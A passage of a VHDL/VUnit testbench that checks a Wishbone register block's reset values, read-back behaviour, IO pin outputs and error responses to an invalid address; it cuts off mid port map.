CONSTANT c_addr_invalid : INTEGER := 16#0088#;
--
CONSTANT c_addr_invalid_slv : STD_LOGIC_VECTOR(g_addr_bits -1 DOWNTO 0) := std_logic_vector(to_unsigned(c_addr_invalid, g_addr_bits));
CONSTANT c_wb_sel_max : STD_LOGIC_VECTOR(g_data_bits/8-1 DOWNTO 0) := (OTHERS => '1');
CONSTANT c_wb_dat_max : STD_LOGIC_VECTOR(g_data_bits -1 DOWNTO 0) := (OTHERS => '1');
CONSTANT c_wb_we_write : STD_LOGIC := '1';
CONSTANT c_wb_we_read : STD_LOGIC := '0';
-----------------------------------------------------------------------------
-- Wishbone driver interface signals
-----------------------------------------------------------------------------
SIGNAL s_wbs_drv_out : t_wbs_drv_out(addr(g_addr_bits-1 DOWNTO 0),
data(g_data_bits-1 DOWNTO 0),
sel(g_data_bits/8-1 DOWNTO 0));
SIGNAL s_wbs_drv_in : t_wbs_drv_in(data(g_data_bits-1 DOWNTO 0));
-----------------------------------------------------------------------------
-- Custom registers Signals
-----------------------------------------------------------------------------
SIGNAL s_reg_read_write : STD_LOGIC_VECTOR(31 DOWNTO 0) := x"00000000";
SIGNAL s_reg_read_only : STD_LOGIC_VECTOR(31 DOWNTO 0) := x"00000000";
SIGNAL s_reg_write_only : STD_LOGIC_VECTOR(31 DOWNTO 0) := x"00000000";
SIGNAL s_reg_trigger : STD_LOGIC_VECTOR(31 DOWNTO 0) := x"00000000";
SIGNAL s_reg_enum : STD_LOGIC_VECTOR(31 DOWNTO 0) := x"80002000";
SIGNAL s_reg_notify_rw : STD_LOGIC_VECTOR(31 DOWNTO 0) := x"6F6F6F6F";
SIGNAL s_reg_notify_ro : STD_LOGIC_VECTOR(31 DOWNTO 0) := x"6F6F6F6F";
SIGNAL s_reg_notify_wo : STD_LOGIC_VECTOR(31 DOWNTO 0) := x"6F6F6F6F";
-----------------------------------------------------------------------------
-- Custom registers IO Signals
-----------------------------------------------------------------------------
SIGNAL s_o_rw_slice0 : STD_LOGIC_VECTOR(15 DOWNTO 0);
SIGNAL s_o_rw_slice1 : STD_LOGIC_VECTOR(7 DOWNTO 0);
SIGNAL s_o_rw_bit : STD_LOGIC;
SIGNAL s_i_ro_slice0 : STD_LOGIC_VECTOR(15 DOWNTO 0);
SIGNAL s_i_ro_slice1 : STD_LOGIC_VECTOR(7 DOWNTO 0);
SIGNAL s_i_ro_bit : STD_LOGIC;
SIGNAL s_o_wo_slice0 : STD_LOGIC_VECTOR(15 DOWNTO 0);
SIGNAL s_o_wo_slice1 : STD_LOGIC_VECTOR(7 DOWNTO 0);
SIGNAL s_o_wo_bit : STD_LOGIC;
SIGNAL s_o_tr_slice0 : STD_LOGIC_VECTOR(15 DOWNTO 0);
SIGNAL s_o_tr_slice1 : STD_LOGIC_VECTOR(7 DOWNTO 0);
SIGNAL s_o_tr_bit : STD_LOGIC;
SIGNAL s_o_en_bit : STD_LOGIC;
SIGNAL s_o_en_slice : STD_LOGIC_VECTOR(1 DOWNTO 0);
SIGNAL s_o_no_rw_rw_bit : STD_LOGIC;
SIGNAL s_o_no_rw_rw_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_i_no_rw_ro_bit : STD_LOGIC;
SIGNAL s_i_no_rw_ro_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_o_no_rw_wo_bit : STD_LOGIC;
SIGNAL s_o_no_rw_wo_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_o_no_rw_tr_bit : STD_LOGIC;
SIGNAL s_o_no_rw_tr_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_o_notify_rw_trd : STD_LOGIC;
SIGNAL s_o_notify_rw_twr : STD_LOGIC;
SIGNAL s_o_no_ro_rw_bit : STD_LOGIC;
SIGNAL s_o_no_ro_rw_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_i_no_ro_ro_bit : STD_LOGIC;
SIGNAL s_i_no_ro_ro_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_o_no_ro_wo_bit : STD_LOGIC;
SIGNAL s_o_no_ro_wo_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_o_no_ro_tr_bit : STD_LOGIC;
SIGNAL s_o_no_ro_tr_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_o_notify_ro_trd : STD_LOGIC;
SIGNAL s_o_no_wo_rw_bit : STD_LOGIC;
SIGNAL s_o_no_wo_rw_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_i_no_wo_ro_bit : STD_LOGIC;
SIGNAL s_i_no_wo_ro_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_o_no_wo_wo_bit : STD_LOGIC;
SIGNAL s_o_no_wo_wo_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_o_no_wo_tr_bit : STD_LOGIC;
SIGNAL s_o_no_wo_tr_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_o_notify_wo_twr : STD_LOGIC;
-----------------------------------------------------------------------------
-- TB Signals
-----------------------------------------------------------------------------
SIGNAL s_golden : STD_LOGIC_VECTOR(g_data_bits-1 DOWNTO 0);
SIGNAL s_sample : STD_LOGIC_VECTOR(g_data_bits-1 DOWNTO 0);
-----------------------------------------------------------------------------
-- FUNCTIONs
-----------------------------------------------------------------------------
PROCEDURE wait_for(VARIABLE flag : INOUT sim_lib.sim_pkg.shared_boolean) IS
BEGIN
LOOP
WAIT UNTIL rising_edge(clk);
IF flag.get THEN
EXIT;
END IF;
END LOOP;
END PROCEDURE;
--
FUNCTION byte_2_word_addr(byte_addr : STD_LOGIC_VECTOR) RETURN STD_LOGIC_VECTOR IS
VARIABLE word_addr : STD_LOGIC_VECTOR(g_addr_bits-1 DOWNTO 0);
BEGIN
word_addr := byte_addr(byte_addr'HIGH DOWNTO ceil_log2(g_data_bits/8));
RETURN word_addr;
END FUNCTION;
-----------------------------------------------------------------------------
BEGIN
f_create_clock(clk, g_system_clk);
-----------------------------------------------------------------------------
-- MAIN
-----------------------------------------------------------------------------
main : PROCESS
--
VARIABLE v_app_done_flag : BOOLEAN := FALSE;
VARIABLE v_spi_done_flag : BOOLEAN := FALSE;
--
VARIABLE RndA : RandomPType;
VARIABLE v_byte_addr : STD_LOGIC_VECTOR(g_addr_bits-1 DOWNTO 0);
VARIABLE v_data : STD_LOGIC_VECTOR(g_data_bits-1 DOWNTO 0);
VARIABLE v_reset : STD_LOGIC_VECTOR(g_data_bits-1 DOWNTO 0);
VARIABLE v_mask : STD_LOGIC_VECTOR(g_data_bits-1 DOWNTO 0);
VARIABLE v_be : STD_LOGIC_VECTOR(g_data_bits/8-1 DOWNTO 0);
VARIABLE pass : BOOLEAN;
VARIABLE v_wb_result : t_wbs_drv_in(data(g_data_bits-1 DOWNTO 0));
-- generate random vector of length nr_bits
IMPURE FUNCTION f_gen_rdm_vec(nr_bits : POSITIVE) RETURN STD_LOGIC_VECTOR IS
VARIABLE v_return : STD_LOGIC_VECTOR(nr_bits-1 DOWNTO 0);
BEGIN
v_return := RndA.Randslv(0, NATURAL'HIGH , nr_bits);
RETURN v_return;
END FUNCTION;
-- signals or variables ...
VARIABLE v_sample : STD_LOGIC_VECTOR(g_data_bits-1 DOWNTO 0) := (OTHERS => '0');
VARIABLE v_golden : STD_LOGIC_VECTOR(g_data_bits-1 DOWNTO 0) := (OTHERS => '0');
-----------------------------------------------------------------------------
-- MAIN process body
-----------------------------------------------------------------------------
BEGIN -- p_main
-- Initialize
test_runner_setup(runner, runner_cfg);
RndA.InitSeed(RndA'instance_name);
checker_init(display_format => verbose,
file_format => verbose_csv,
file_name => "vunit_out/log.csv");
-- VUINIT Main Loop
WHILE test_suite LOOP
-- wbs idle state for some time...
wbs_idle(s_wbs_drv_out);
-- no rst_n !!!
WAIT FOR 100 ns;
IF run("Test") THEN
-- Generate some random Tests for all registers
-- Check ReadWrite register
info("Checking Register: ReadWrite");
-- check reset value
-- TODO: adapt for each register!
v_byte_addr := std_logic_vector(to_unsigned(c_addr_read_write, v_byte_addr'length));
v_mask := x"FFFFFF08";
v_reset := x"00000000";
-- DONE
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_golden <= v_reset;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register reset value!");
-- write LOOP
FOR i IN 0 TO g_nr_of_writes-1 LOOP
-- Genereate Random Data
-- TODO change register
v_data := f_gen_rdm_vec(s_reg_read_write'LENGTH);
-- DONE
s_golden <= v_data AND v_mask; -- AND mask for slices
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- Write to Wishbone
report "Write to Wishbone";
wbs_write_reg(v_byte_addr, v_data, clk, s_wbs_drv_out, s_wbs_drv_in);
-- use vunit check_equal check_api to
-- check register value
report "Read from Wishbone";
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register value read back");
report "Sampling register output pins";
-- check pin/vector value, combine slices
-- TODO: adapt for each register!
v_sample := (OTHERS => '0');
v_sample(31 DOWNTO 16) := s_o_rw_slice0;
v_sample(15 DOWNTO 8) := s_o_rw_slice1;
v_sample(3) := s_o_rw_bit;
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
check_equal(s_sample, s_golden, "wrong IO pin/vector value");
END LOOP; -- g_nr_of_writes
-- Check ReadOnly register
info("Checking Register: ReadOnly");
-- check reset value
-- this is only possible before first rising_edge of clk!
-- TODO! adapt for each register!
v_byte_addr := std_logic_vector(to_unsigned(c_addr_read_only, v_byte_addr'length));
v_mask := x"FFFFFF08";
v_reset := b"UUUU_UUUU_UUUU_UUUU_UUUU_UUUU_0000_U000"; -- if input pins are not driven, then undefined!
report "Read from Wishbone";
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_golden <= v_reset;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register reset value!");v_reset := x"00000000";
-- after first rising_edge of clk register is set by IO pins
-- drive pin/vector values, combine slices
report "Driving IO inputs with reset value";
s_i_ro_slice0 <= v_reset(31 DOWNTO 16);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_i_ro_slice1 <= v_reset(15 DOWNTO 8);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_i_ro_bit <= v_reset(3);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE!
report "Read from Wishbone";
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_golden <= v_reset;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register reset value!");
-- write LOOP
FOR i IN 0 TO g_nr_of_writes-1 LOOP
-- Genereate Random Data
-- TODO change register
v_data := f_gen_rdm_vec(s_reg_read_only'LENGTH);
-- DONE
s_golden <= v_data AND v_mask; -- AND mask for slices
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- drive pin/vector values, combine slices
-- TODO: adapt for each register!
report "Driving IO inputs with random value";
s_i_ro_slice0 <= v_data(31 DOWNTO 16);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_i_ro_slice1 <= v_data(15 DOWNTO 8);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_i_ro_bit <= v_data(3);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
report "Read from Wishbone";
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register value read");
-- Write to Wishbone, check if register is really ro!
report "Write reset value to Wishbone";
wbs_write_reg(v_byte_addr, v_reset, clk, s_wbs_drv_out, s_wbs_drv_in);
-- use vunit check_equal check_api to
-- check register value, should not change for ro!
report "Read from Wishbone";
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register value read back");
END LOOP; -- g_nr_of_writes
-- Check WriteOnly register
-- seems as if the value is only stored for one clk cycle ...
-- no register ??? only a trigger! Not the expexted behavior...
-- ERROR reported! Fix will come...
info("Checking Register: WriteOnly");
-- check reset value, read should not work, bur pins...
-- TODO: adapt for each register!
v_byte_addr := std_logic_vector(to_unsigned(c_addr_write_only, v_byte_addr'length));
v_mask := x"FFFFFF08";
v_reset := x"00000000";
-- DONE
report "Sampling register output pins";
-- check pin/vector reset value, combine slices
-- TODO: adapt for each register!
v_sample := (OTHERS => '0');
v_sample(31 DOWNTO 16) := s_o_wo_slice0;
v_sample(15 DOWNTO 8) := s_o_wo_slice1;
v_sample(3) := s_o_wo_bit;
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
s_golden <= v_reset;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong IO pin/vector reset value");
-- check to read WriteOnly register, should fail!
--report "Read from Wishbone, expecting to fail...";
--wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
--s_sample <= v_sample;
--WAIT FOR 0 ns; -- wait one Delta cycle to update signal
--IF (check_equal(s_sample, s_golden, "Expected: register read reset value not working!", level => info)) THEN
-- info("Read Reset value matches... This was not expected!");
--ELSE
-- info("Expected to be here.");
--END IF;
-- write LOOP
FOR i IN 0 TO g_nr_of_writes-1 LOOP
-- Genereate Random Data
-- TODO change register
v_data := f_gen_rdm_vec(s_reg_write_only'LENGTH);
-- DONE
s_golden <= v_data AND v_mask; -- AND mask for slices
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- Write to Wishbone
report "Write to Wishbone";
wbs_write_reg(v_byte_addr, v_data, clk, s_wbs_drv_out, s_wbs_drv_in);
-- use vunit check_equal check_api to
-- check register value
-- check pin/vector value, combine slices
-- TODO: adapt for each register!
WAIT FOR 1 ns; -- wait for 1 ns (one Delta cycle) for update of output signals
report "Sampling register output pins";
v_sample := (OTHERS => '0');
v_sample(31 DOWNTO 16) := s_o_wo_slice0;
v_sample(15 DOWNTO 8) := s_o_wo_slice1;
v_sample(3) := s_o_wo_bit;
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
check_equal(s_sample, s_golden, "wrong IO pin/vector value");
report "Read from Wishbone, expecting to fail...";
-- check to read WriteOnly register, should fail!
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_false( (s_sample=s_golden), "Not expected: register read value matching!");
report "Sampling register output pins again";
v_sample := (OTHERS => '0');
v_sample(31 DOWNTO 16) := s_o_wo_slice0;
v_sample(15 DOWNTO 8) := s_o_wo_slice1;
v_sample(3) := s_o_wo_bit;
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
check_equal(s_sample, s_golden, "wrong IO pin/vector value");
END LOOP; -- g_nr_of_writes
-- Check Trigger register
-- seems as if the value is only stored for one clk cycle ...
-- no register ??? only a trigger! Not the expexted behavior...
info("Checking Register: Trigger");
-- check reset value, read should not work, bur pins...
-- TODO: adapt for each register!
v_byte_addr := std_logic_vector(to_unsigned(c_addr_trigger, v_byte_addr'length));
v_mask := x"FFFFFF08";
v_reset := x"00000000";
-- DONE
report "Sampling register output pins";
-- check pin/vector reset value, combine slices
-- TODO: adapt for each register!
v_sample := (OTHERS => '0');
v_sample(31 DOWNTO 16) := s_o_tr_slice0;
v_sample(15 DOWNTO 8) := s_o_tr_slice1;
v_sample(3) := s_o_tr_bit;
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
s_golden <= v_reset;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong IO pin/vector reset value");
-- check to read WriteOnly register, should fail!
--report "Read from Wishbone, expecting to fail...";
--wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
--s_sample <= v_sample;
--WAIT FOR 0 ns; -- wait one Delta cycle to update signal
--IF (check_equal(s_sample, s_golden, "Expected: register read reset value not working!", level => info)) THEN
-- info("Read Reset value matches... This was not expected!");
--ELSE
-- info("Expected to be here.");
--END IF;
-- write LOOP
FOR i IN 0 TO g_nr_of_writes-1 LOOP
-- Genereate Random Data
-- TODO change register
v_data := f_gen_rdm_vec(s_reg_trigger'LENGTH);
-- DONEv_data := f_gen_rdm_vec(s_reg_trigger'LENGTH);
s_golden <= v_data AND v_mask; -- AND mask for slices
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- Write to Wishbone
report "Write to Wishbone";
wbs_write_reg(v_byte_addr, v_data, clk, s_wbs_drv_out, s_wbs_drv_in);
-- use vunit check_equal check_api to
-- check register value
-- check pin/vector value, combine slices
-- TODO: adapt for each register!
WAIT FOR 1 ns; -- wait for 1 ns (one Delta cycle) for update of output signals
report "Sampling register output pins";
v_sample := (OTHERS => '0');
v_sample(31 DOWNTO 16) := s_o_tr_slice0;
v_sample(15 DOWNTO 8) := s_o_tr_slice1;
v_sample(3) := s_o_tr_bit;
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
check_equal(s_sample, s_golden, "wrong IO pin/vector value");
report "Read from Wishbone, expecting to fail...";
-- check to read WriteOnly register, should fail!
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_false( (s_sample=s_golden), "Not expected: register read value matching!");
report "Sampling register output pins again with reset value";
s_golden <= v_reset;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
v_sample := (OTHERS => '0');
v_sample(31 DOWNTO 16) := s_o_tr_slice0;
v_sample(15 DOWNTO 8) := s_o_tr_slice1;
v_sample(3) := s_o_tr_bit;
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
check_equal(s_sample, s_golden, "wrong IO pin/vector value");
END LOOP; -- g_nr_of_writes
-- Check Enum register
info("Checking Register: Enum");
-- check reset value
-- TODO: adapt for each register!
v_byte_addr := std_logic_vector(to_unsigned(c_addr_enum, v_byte_addr'length));
v_mask := x"80003000";
v_reset := x"80002000";
-- DONE
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_golden <= v_reset;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register reset value!");
-- write LOOP
FOR i IN 0 TO g_nr_of_writes-1 LOOP
-- Genereate Random Data
-- TODO change register
v_data := f_gen_rdm_vec(s_reg_enum'LENGTH);
-- DONE
s_golden <= v_data AND v_mask; -- AND mask for slices
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- Write to Wishbone
report "Write to Wishbone";
wbs_write_reg(v_byte_addr, v_data, clk, s_wbs_drv_out, s_wbs_drv_in);
-- use vunit check_equal check_api to
-- check register value
report "Read from Wishbone";
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register value read back");
report "Sampling register output pins";
-- check pin/vector value, combine slices
-- TODO: adapt for each register!
v_sample := (OTHERS => '0');
v_sample(13 DOWNTO 12) := s_o_en_slice;
v_sample(31) := s_o_en_bit;
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
check_equal(s_sample, s_golden, "wrong IO pin/vector value");
END LOOP; -- g_nr_of_writes
-- Notify Registers
-- same as above, with addional notify signals.
-- Check NotifyRw register
-- the following signals are generated:
-- s_o_no_rw_rw_bit rw checked
-- s_o_no_rw_rw_slice rw checked
-- s_i_no_rw_ro_bit ro checked
-- s_i_no_rw_ro_slice ro checked
-- s_o_no_rw_wo_bit trg write only trigger
-- s_o_no_rw_wo_slice trg write only trigger
-- s_o_no_rw_tr_bit trg ???
-- s_o_no_rw_tr_slice trg ???
-- additinal
-- s_o_notify_rw_trd trg read trigger
-- s_o_notify_rw_twr trg write trigger
-- TODO: check notify triggers !
info("Checking Register: NotifyRw");
-- check reset value
-- TODO: adapt for each register!
v_byte_addr := std_logic_vector(to_unsigned(c_addr_notify_rw, v_byte_addr'length));
v_mask := x"FFFF0000";
v_reset := x"6FUU6F6F"; -- ro bits 23 downto 16 are U (undefined), if not driven !!!
-- bits 15 downto 0 are wo/trg !!! No read possible!
-- DONE
report "Read Reset Value from Wishbone (with undefined RO pins)";
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
--> as far as I can see the read wbs_read_reg doen't create a trigger...
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_golden <= v_reset AND v_mask; -- AND mask for slices;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register reset value!");
report "Driving ReadOnly IO inputs with reset value";
v_reset := x"6F6F6F6F"; -- ro bits 23 downto 16 are U (undefined), if not driven !!!
s_i_no_rw_ro_bit <= v_reset(23);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_i_no_rw_ro_slice <= v_reset(22 DOWNTO 16);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
--> as far as I can see this creates a trigger o_notify_rw_trd
report "Read Reset Value from Wishbone";
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_golden <= v_reset AND v_mask; -- AND mask for slices;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register reset value!");
-- write LOOP
FOR i IN 0 TO g_nr_of_writes-1 LOOP
-- Genereate Random Data
-- TODO change register
v_data := f_gen_rdm_vec(s_reg_notify_rw'LENGTH);
-- DONE
s_golden <= v_data AND v_mask; -- AND mask for slices
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- Write to Wishbone
report "Write to Wishbone";
wbs_write_reg(v_byte_addr, v_data, clk, s_wbs_drv_out, s_wbs_drv_in);
-- TODO: adapt for each register!
report "Driving IO inputs with random value";
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_i_no_rw_ro_bit <= v_data(23);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_i_no_rw_ro_slice <= v_data(22 DOWNTO 16);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
-- use vunit check_equal check_api to
-- check register value
report "Read from Wishbone";
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register value read back");
report "Sampling register output pins";
-- check pin/vector value, combine slices
-- TODO: adapt for each register!
v_sample := (OTHERS => '0');
v_sample(31) := s_o_no_rw_rw_bit;
v_sample(30 DOWNTO 24) := s_o_no_rw_rw_slice;
v_sample(23) := s_i_no_rw_ro_bit;
v_sample(22 DOWNTO 16) := s_i_no_rw_ro_slice;
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
check_equal(s_sample, s_golden, "wrong IO pin/vector value");
END LOOP; -- g_nr_of_writes
-- write to invalid address
WAIT FOR 100 ns;
report "Write to invalid address -> check error assignment";
wbs_transmit(c_addr_invalid_slv, c_wb_dat_max, v_sample, c_wb_we_write, c_wb_sel_max, clk, s_wbs_drv_out, s_wbs_drv_in, v_wb_result);
check_equal(v_wb_result.ack, '0', "erroneous ACK assignment @ write access to invalid address");
check_equal(v_wb_result.err, '1', "erroneous ERR assignment @ write access to invalid address");
check_equal(v_wb_result.rty, '0', "erroneous RTY assignment @ write access to invalid address");
-- read from invalid address
WAIT FOR 100 ns;
report "Read from invalid address -> check error assignment";
wbs_transmit(c_addr_invalid_slv, c_wb_dat_max, v_sample, c_wb_we_read, c_wb_sel_max, clk, s_wbs_drv_out, s_wbs_drv_in, v_wb_result);
check_equal(v_wb_result.ack, '0', "erroneous ACK assignment @ read access to invalid address");
check_equal(v_wb_result.err, '1', "erroneous ERR assignment @ read access to invalid address");
check_equal(v_wb_result.rty, '0', "erroneous RTY assignment @ read access to invalid address");
END IF;
REPORT "TB Done";
END LOOP;
test_runner_cleanup(runner);
END PROCESS main;
-----------------------------------------------------------------------------
-----------------------------------------------------------------------------
-- DUT (wbs_test)
-----------------------------------------------------------------------------
gen_dut_std : IF (g_use_notify_wbs = FALSE) GENERATE
BEGIN
dut : ENTITY tb_lib.wbs_test
GENERIC MAP (
g_addr_bits => g_addr_bits)
PORT MAP (
-- SYSCON, no rst, rst_n
clk => clk,
-- Wishbone
i_wb_cyc => s_wbs_drv_out.cyc,
i_wb_stb => s_wbs_drv_out.stb,
i_wb_we => s_wbs_drv_out.we,
i_wb_sel => s_wbs_drv_out.sel,
i_wb_addr => s_wbs_drv_out.addr,
i_wb_data => s_wbs_drv_out.data,
o_wb_data => s_wbs_drv_in.data,
o_wb_ack => s_wbs_drv_in.ack,
o_wb_rty => s_wbs_drv_in.rty,
o_wb_err => s_wbs_drv_in.err,
-- IO Signals
o_rw_slice0 => s_o_rw_slice0,
o_rw_slice1 => s_o_rw_slice1,
o_rw_bit => s_o_rw_bit,
i_ro_slice0 => s_i_ro_slice0,
i_ro_slice1 => s_i_ro_slice1,
i_ro_bit => s_i_ro_bit,
o_wo_slice0 => s_o_wo_slice0,
o_wo_slice1 => s_o_wo_slice1,
o_wo_bit => s_o_wo_bit,
o_tr_slice0 => s_o_tr_slice0,
o_tr_slice1 => s_o_tr_slice1,
o_tr_bit => s_o_tr_bit,
o_en_bit => s_o_en_bit,
o_en_slice => s_o_en_slice,
o_no_rw_rw_bit => s_o_no_rw_rw_bit,
o_no_rw_rw_slice => s_o_no_rw_rw_slice,
i_no_rw_ro_bit => s_i_no_rw_ro_bit,
i_no_rw_ro_slice => s_i_no_rw_ro_slice,
o_no_rw_wo_bit => s_o_no_rw_wo_bit,
o_no_rw_wo_slice => s_o_no_rw_wo_slice,
o_no_rw_tr_bit => s_o_no_rw_tr_bit,
o_no_rw_tr_slice => s_o_no_rw_tr_slice,
o_notify_rw_trd => s_o_notify_rw_trd,
o_notify_rw_twr => s_o_notify_rw_twr,
o_no_ro_rw_bit => s_o_no_ro_rw_bit,
o_no_ro_rw_slice => s_o_no_ro_rw_slice,
i_no_ro_ro_bit => s_i_no_ro_ro_bit,
i_no_ro_ro_slice => s_i_no_ro_ro_slice,
o_no_ro_wo_bit => s_o_no_ro_wo_bit,
o_no_ro_wo_slice => s_o_no_ro_wo_slice,
o_no_ro_tr_bit => s_o_no_ro_tr_bit,
o_no_ro_tr_slice => s_o_no_ro_tr_slice,
o_notify_ro_trd => s_o_notify_ro_trd,
o_no_wo_rw_bit => s_o_no_wo_rw_bit,
o_no_wo_rw_slice => s_o_no_wo_rw_slice,
i_no_wo_ro_bit => s_i_no_wo_ro_bit,
i_no_wo_ro_slice => s_i_no_wo_ro_slice,
o_no_wo_wo_bit => s_o_no_wo_wo_bit,
o_no_wo_wo_slice => s_o_no_wo_wo_slice,
o_no_wo_tr_bit => s_o_no_wo_tr_bit,
o_no_wo_tr_slice => s_o_no_wo_tr_slice,
o_notify_wo_twr => s_o_notify_wo_twr);
END GENERATE gen_dut_std;
-----------------------------------------------------------------------------
-- DUT (wbs_test_notify)
-----------------------------------------------------------------------------
gen_dut_notify : IF (g_use_notify_wbs = TRUE) GENERATE
BEGIN
dut : ENTITY tb_lib.wbs_test_notify
GENERIC MAP (
g_addr_bits => g_addr_bits)
PORT MAP (
-- SYSCON, no rst, rst_n
clk => clk,
-- Wishbone
i_wb_cyc => s_wbs_drv_out.cyc,
i_wb_stb => s_wbs_drv_out.stb,
i_wb_we => s_wbs_drv_out.we,
i_wb_sel => s_wbs_drv_out.sel,
i_wb_addr => s_wbs_drv_out.addr,
i_wb_data => s_wbs_drv_out.data,
o_wb_data => s_wbs_drv_in.data,
o_wb_ack => s_wbs_drv_in.ack,
o_wb_rty => s_wbs_drv_in.rty,
o_wb_err => s_wbs_drv_in.err,
-- IO Signals
o_rw_slice0 => s_o_rw_slice0,
o_rw_slice1 => s_o_rw_slice1,
o_rw_bit => s_o_rw_bit,
i_ro_slice0 => s_i_ro_slice0,
i_ro_slice1 => s_i_ro_slice1,
i_ro_bit => s_i_ro_bit,
o_wo_slice0 => s_o_wo_slice0,
o_wo_slice1 => s_o_wo_slice1,
o_wo_bit => s_o_wo_bit,
o_tr_slice0 => s_o_tr_slice0,
o_tr_slice1 => s_o_tr_slice1,
o_tr_bit => s_o_tr_bit,
o_en_bit => s_o_en_bit,
o_en_slice => s_o_en_slice,
